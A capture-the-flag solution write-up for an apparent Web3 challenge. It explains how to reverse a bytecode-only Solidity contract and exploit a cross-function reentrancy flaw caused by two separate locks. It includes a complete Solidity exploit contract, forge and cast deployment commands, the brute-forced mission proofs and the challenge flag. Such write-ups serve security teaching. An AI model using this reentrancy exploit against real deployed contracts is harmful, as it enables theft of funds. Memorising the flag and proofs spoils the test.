# GANTZ_BALL_CONTRACT — Solution **Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` ## Overview Bytecode-only Solidity challenge. No source code is provided — you must reverse the EVM bytecode to find a **cross-function reentrancy** vulnerability caused by two separate reentrancy guards instead of one global lock. ## Architecture - Port 1337/tcp: console (commands: `info`, `bytecode`, `check`) - Port 8545/tcp: Ethereum JSON-RPC node ## Step 1 — Reverse the bytecode ```text bytecode ``` Decompile with Dedaub / Heimdall / Panoramix. Recover: - `register()` — enroll as a hunter - `claimKill(uint256 missionId, string proof)` — earn points per mission - `stakePoints(uint256 amount)` — stake points, deposit ETH (1 pt = 0.001 ETH) - `unstake()` — withdraw ETH, restore points - `claimReward()` — claim reward if `points + stakedPoints >= 100` **Key finding:** the contract uses two separate guards: `_stakeLock` (protects `stakePoints`/`unstake`) and `_rewardLock` (protects `claimReward`). While inside `unstake()`, `_stakeLock=1` but `_rewardLock=0` — allowing re-entry into `claimReward()` before `stakedPoints` is zeroed. ## Step 2 — Find mission proofs From contract storage, extract the four `keccak256` target hashes. Brute-force short string preimages: | Mission | Points | Proof | |---------|--------|---------------| | 0 | 20 | `onion_alien` | | 1 | 25 | `tanaka_alien` | | 2 | 30 | `buddha_alien` | | 3 | 35 | `boss_alien` | ## Step 3 — Deploy attacker contract ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IGantzBall { function register() external; function claimKill(uint256 missionId, string calldata proof) external; function stakePoints(uint256 amount) external payable; function unstake() external; function claimReward() external; } contract GantzExploit { IGantzBall public ball; bool private attacking; constructor(address _ball) payable { ball = IGantzBall(_ball); } function exploit() external { ball.register(); ball.claimKill(0, "onion_alien"); // +20 → 20 pts ball.claimKill(1, "tanaka_alien"); // +25 → 45 pts ball.claimKill(2, "buddha_alien"); // +30 → 75 pts ball.claimKill(3, "boss_alien"); // +35 → 110 pts ball.stakePoints{value: 0.1 ether}(100); // Now: points=10, stakedPoints=100 attacking = true; ball.unstake(); // In receive(): stakedPoints=100 not yet zeroed → claimReward passes } receive() external payable { if (attacking) { attacking = false; // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy ball.claimReward(); // points(10) + stakedPoints(100) = 110 >= 100 ✓ } } } ``` ```bash forge create GantzExploit \ --constructor-args \ --value 0.2ether \ --rpc-url http://:8545 \ --private-key cast send 'exploit()' \ --rpc-url http://:8545 \ --private-key ``` ## Step 4 — Get the flag ```text check ``` ## Key Concepts - **EVM bytecode reversal**: No source code — must recover ABI and logic from opcodes - **Cross-function reentrancy**: Two separate mutex flags allow re-entry across function boundaries - **Storage layout**: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules - **keccak256 preimage brute force**: Short human-readable strings are feasible to brute-force ## Flag `ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}` ## Author Eun0us